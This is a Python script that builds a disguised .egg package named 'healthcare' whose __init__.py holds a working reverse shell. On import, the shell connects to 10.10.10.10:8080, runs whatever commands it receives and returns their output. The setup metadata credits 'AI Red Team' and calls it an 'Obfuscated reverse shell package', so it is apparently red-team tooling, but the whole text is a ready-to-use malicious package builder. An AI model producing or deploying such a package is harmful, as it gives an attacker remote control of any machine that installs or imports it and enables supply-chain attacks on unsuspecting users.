|
|
import os |
|
|
import shutil |
|
|
from setuptools import setup, find_packages |
|
|
|
|
|
|
|
|
os.makedirs("healthcare/healthcare", exist_ok=True) |
|
|
|
|
|
|
|
|
payload = """ |
|
|
import socket |
|
|
import subprocess |
|
|
|
|
|
ip = \"10.10.10.10\" |
|
|
p = 8080 |
|
|
s = socket.socket() |
|
|
s.connect((ip, p)) |
|
|
while True: |
|
|
c = s.recv(1024).decode() |
|
|
o = subprocess.getoutput(c) |
|
|
s.sendall(o.encode()) |
|
|
""" |
|
|
with open("healthcare/healthcare/__init__.py", "w") as f: |
|
|
f.write(payload) |
|
|
|
|
|
|
|
|
setup_py = """ |
|
|
from setuptools import setup, find_packages |
|
|
|
|
|
setup( |
|
|
name='healthcare', |
|
|
version='0.1', |
|
|
packages=find_packages(), |
|
|
author='AI Red Team', |
|
|
description='Obfuscated reverse shell package', |
|
|
) |
|
|
""" |
|
|
with open("healthcare/setup.py", "w") as f: |
|
|
f.write(setup_py) |
|
|
|
|
|
|
|
|
os.system("cd healthcare && python setup.py bdist_egg") |
|
|
|
|
|
|
|
|
dist_dir = "healthcare/dist" |
|
|
for filename in os.listdir(dist_dir): |
|
|
if filename.endswith(".egg"): |
|
|
shutil.move(os.path.join(dist_dir, filename), filename) |
|
|
|
|
|
print("✅ .egg file created and moved to current directory.") |
|
|
|